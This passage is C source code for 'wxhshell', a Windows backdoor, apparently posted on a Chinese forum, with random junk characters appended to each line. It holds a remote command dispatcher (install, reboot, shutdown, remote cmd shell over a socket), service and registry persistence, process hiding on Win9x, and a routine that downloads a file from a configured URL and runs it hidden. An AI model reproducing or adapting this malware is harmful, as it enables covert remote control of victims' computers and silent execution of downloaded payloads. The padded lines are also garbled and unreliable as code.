    switch(cmd[0]) { hBifn\dFr  
  ah(k!0PV  
  // 帮助 9l|*E  
  case '?': { ,|;\)tT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JuOCOl\  
    break; Q4Qf/q;U  
  } k'sPA_|  
  // 安装 _EP~PW#J  
  case 'i': { T.B7QAI. H  
    if(Install()) eLV[U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ytb1hFs  
    else S)'&+HamI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *+00  
    break; oMYZ^b^  
    } ixoN#'y<"  
  // 卸载 S!^I<#d K  
  case 'r': { MX+gc$Y O  
    if(Uninstall()) ?(}~[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z Y5Pf 1  
    else 7 9k+R9m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQAF;L  
    break; {Q`Q2'@  
    } `D$RL*C;M`  
  // 显示 wxhshell 所在路径 j0n.+CO-{  
  case 'p': { )(c%QWz  
    char svExeFile[MAX_PATH]; v-"nyy-&Z  
    strcpy(svExeFile,"\n\r"); !kH 1|  
      strcat(svExeFile,ExeFile); 0,8RA_Ca}  
        send(wsh,svExeFile,strlen(svExeFile),0); C~nL3w  
    break; 3{Zd<JYg4-  
    } ZsYY)<n  
  // 重启 & IsPqO  
  case 'b': { ~jz51[{v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~EvGNnTL  
    if(Boot(REBOOT)) 9Sa6v?sRor  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *D`$oK,U  
    else { 6TXTJ]er  
    closesocket(wsh); 7&w[h4Lw  
    ExitThread(0); RX^Xtc"  
    } a1QW0d  
    break; g@>93j=cZU  
    } ta'wX   
  // 关机 0bSnD|#I  
  case 'd': { rd=+[:7L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QBfo=9[=e  
    if(Boot(SHUTDOWN)) /#q6.du  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJ{&R Ld  
    else { hx4c`fOs  
    closesocket(wsh); I SdB5Va  
    ExitThread(0); Im]6-#(9\|  
    } @~&^1%37)  
    break; EN8xn9M?  
    } D^U?!S&4~  
  // 获取shell U]9k,#  
  case 's': { WZP1g kX&M  
    CmdShell(wsh); k 6i&NG6  
    closesocket(wsh); KYl!Iw67d  
    ExitThread(0); [8Z !dj   
    break; xX Dj4j,  
  } [81q 0@  
  // 退出 [F{P0({%?  
  case 'x': { e nw*[D !  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UgZL<}  
    CloseIt(wsh); g'2; ///  
    break; F%O+w;J4  
    } <,U$Y>  
  // 离开 FMWM:  
  case 'q': { Fr(;C>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Blj<|\ igc  
    closesocket(wsh); 1xO-tIp/  
    WSACleanup(); YlR9 1L X  
    exit(1); %u2",eHCB  
    break;  7mtg  
        } jw0wR\1  
  } s k3 AwG;A  
  } 0JqvV  
eF' l_*  
  // 提示信息 g yT0h?xDt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Sp/N4+  
} hf7[<I,jov  
  } A5_r(Z-5  
o*oFCR]j  
  return; .kgt? r  
} X!@ Y ,  
"M^mJl&*b  
// shell模块句柄 ySF^^X $J  
int CmdShell(SOCKET sock) Y_~otoSoY  
{ (Ap?ixrR_  
STARTUPINFO si; )#`&[9d-  
ZeroMemory(&si,sizeof(si)); bU/YU0ZIT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'T;;-M3*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -D%mVe)&+  
PROCESS_INFORMATION ProcessInfo; I<+:Ho=6  
char cmdline[]="cmd"; #u +~ ^M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HuQdQ*Q  
  return 0; vTIRydg2b  
} t >.=q:  
1jaK N*  
// 自身启动模式 cIP%t pTW.  
int StartFromService(void) +*aC \4w  
{ e{ *yV#Wl  
typedef struct ;<nJBZB9u  
{ @Qp#Tg<'  
  DWORD ExitStatus; Gi*_ &  
  DWORD PebBaseAddress; Hxleh><c-  
  DWORD AffinityMask; ?I\,RiZkz^  
  DWORD BasePriority; %36@1l-N  
  ULONG UniqueProcessId; #qxo1uV(c  
  ULONG InheritedFromUniqueProcessId; $R:Q R?   
}   PROCESS_BASIC_INFORMATION; 9n"MNedqH  
'u d[#@2  
PROCNTQSIP NtQueryInformationProcess; #Jr4LQ@A9  
O{Z${TC[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;82?ACCP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0sB[]E|7[s  
a|4Q6Ycu  
  HANDLE             hProcess; 'rA(+-.M;  
  PROCESS_BASIC_INFORMATION pbi; tJ&tNSjTi  
qVjMflVoay  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jb-.x_Bf  
  if(NULL == hInst ) return 0; >2X-98,  
IaU%L6Q]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aK 3'u   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #7/39zTK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cH+ ~|3  
hML-zZ   
  if (!NtQueryInformationProcess) return 0; q>5j (,6F  
cS Qb3}a\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fh|{ib  
  if(!hProcess) return 0; !%.=35NS@E  
i6g=fx6j*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v-/vj/4>  
e^$JGh2  
  CloseHandle(hProcess); 15r=d  
{w7/M]m-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ExeZj8U  
if(hProcess==NULL) return 0; \NKQ:F1  
FW|_8q?}<  
HMODULE hMod; 9PMIF9"   
char procName[255]; |--Jd$ dj  
unsigned long cbNeeded; ''3I0X*!  
q%dbx:y#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?-)v{4{s  
[1O{yPV3s  
  CloseHandle(hProcess); X; 6=WqJj  
,i8%qm8  
if(strstr(procName,"services")) return 1; // 以服务启动 ;~'&m  
vhcp[=e :  
  return 0; // 注册表启动 M}Xf<:g)  
} Rz[3cN)?q  
G\B+bBz  
// 主模块 s[t<2)i  
int StartWxhshell(LPSTR lpCmdLine) L0GQH;Y,h  
{ "fW }6pS  
  SOCKET wsl; DJAKF  
BOOL val=TRUE; Ok fxX&n  
  int port=0; ./L)BLC i  
  struct sockaddr_in door; \PcnD$L  
dC|6z/  
  if(wscfg.ws_autoins) Install(); ,Q0H)// ~  
M |f V7g  
port=atoi(lpCmdLine); BRM!g9  
W|y;Kxy  
if(port<=0) port=wscfg.ws_port; 5pK _-:?  
0G0(g,3p  
  WSADATA data; Rd|8=`)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OHrzN ']  
'$?!>HN4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .J O1kt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ Ce*5h  
  door.sin_family = AF_INET; )a x>*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /?($W|9+l  
  door.sin_port = htons(port); [m%]C  
y*6/VSRkt4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "?<h,Hvi  
closesocket(wsl); c*(^:#"9  
return 1; 0/9]T Ic  
} ivyaGAF}+o  
_x|.\j  
  if(listen(wsl,2) == INVALID_SOCKET) { YPf?  
closesocket(wsl); `b%lojT.  
return 1;  1X&jlD?  
} 4 Tw~4b  
  Wxhshell(wsl); >[;=c0(  
  WSACleanup(); $*T?}r>  
C,GZ  
return 0; t,IOq[Vtk  
8ZLHN',  
} .{} 8mFi1  
qZ&~&f|>e  
// 以NT服务方式启动 v^vi *c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @BF1X.4-+  
{ KROD(  
DWORD   status = 0; #<ST.f@*  
  DWORD   specificError = 0xfffffff; C/'w  
`48Ql  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y]](.\ff  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }a.j~>rq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zn7)>cQ905  
  serviceStatus.dwWin32ExitCode     = 0; HD/!J9&  
  serviceStatus.dwServiceSpecificExitCode = 0; rNTLP m  
  serviceStatus.dwCheckPoint       = 0; Dad$_%  
  serviceStatus.dwWaitHint       = 0; RjVmHhX  
4+s6cQ]S`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7CvBE;i  
  if (hServiceStatusHandle==0) return; B4wRwrVI>  
I[d<SHo  
status = GetLastError(); ]bY]YNt{7]  
  if (status!=NO_ERROR) ovBmo2W/  
{ GNe^ ~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y)+q[MZ R  
    serviceStatus.dwCheckPoint       = 0; +yHz7^6-5  
    serviceStatus.dwWaitHint       = 0; c38XM]Jeq  
    serviceStatus.dwWin32ExitCode     = status; 4=MjyH|[Jx  
    serviceStatus.dwServiceSpecificExitCode = specificError; CgrQ" N5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H(rD*R[  
    return; XNv2xuOcJ  
  } ^W,5A;*3  
!hhL",  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~rJG4U  
  serviceStatus.dwCheckPoint       = 0; |E.BGdS  
  serviceStatus.dwWaitHint       = 0; [nPs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /:' >-253  
} [!-gb+L  
G0Qw& mqF  
// 处理NT服务事件,比如:启动、停止 Vm>EF~r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >MYDwH  
{ 9;?u%  
switch(fdwControl) |=m.eU  
{ 9S*"={}%  
case SERVICE_CONTROL_STOP: _gI1rXI  
  serviceStatus.dwWin32ExitCode = 0; C5,fX-2Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S!.&#sc  
  serviceStatus.dwCheckPoint   = 0; I4{xQI  
  serviceStatus.dwWaitHint     = 0; Cul=,;pkB  
  { q*3keB;X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;ryNfP%  
  } !NkCki"W  
  return; 5$D"uAp<V  
case SERVICE_CONTROL_PAUSE: d#H9jg15e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PD-&(ka.  
  break; dkZe.pv$j  
case SERVICE_CONTROL_CONTINUE: %BP>,E/w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <78|~SKAV  
  break; J-5>+E,nZ  
case SERVICE_CONTROL_INTERROGATE: !}#> ky!t  
  break; "J1A9|  
}; a3tcLd|7J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 89g a+#7  
} JfIXv  
MK=oGzK  
// 标准应用程序主函数 _9 ]:0bDUo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y \-W`  
{ ~\jP+[>M'  
V0>X2&.A  
// 获取操作系统版本 >8>!wi9U  
OsIsNt=GetOsVer(); ,=P&{38\q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qs6Vu)U=  
Nc7"`!;-   
  // 从命令行安装 |Ev|A9J!  
  if(strpbrk(lpCmdLine,"iI")) Install(); d8wVhZKI"  
7v ZD  
  // 下载执行文件 ~Ld5WEp k3  
if(wscfg.ws_downexe) { , ~O>8VbF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IMH4GVr"  
  WinExec(wscfg.ws_filenam,SW_HIDE); $Es\ld  
} K8;SE !  
Z~~6y6p  
if(!OsIsNt) { 3R+% C*7  
// 如果时win9x,隐藏进程并且设置为注册表启动 b0{i +R  
HideProc(); w`)5(~b  
StartWxhshell(lpCmdLine); W2 -%/  
} nn_O"fZi  
else ~oa}gJl:}-  
  if(StartFromService()) -WlYHW  
  // 以服务方式启动 c$Kc,`2m7  
  StartServiceCtrlDispatcher(DispatchTable); :o>=^N  
else ,Vhve'=*2  
  // 普通方式启动 N3n]  
  StartWxhshell(lpCmdLine); OlOOg  
i/x |c!E  
return 0; )4L2&e`k)(  
}
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只看该作者 1 发表于: 2006-10-10
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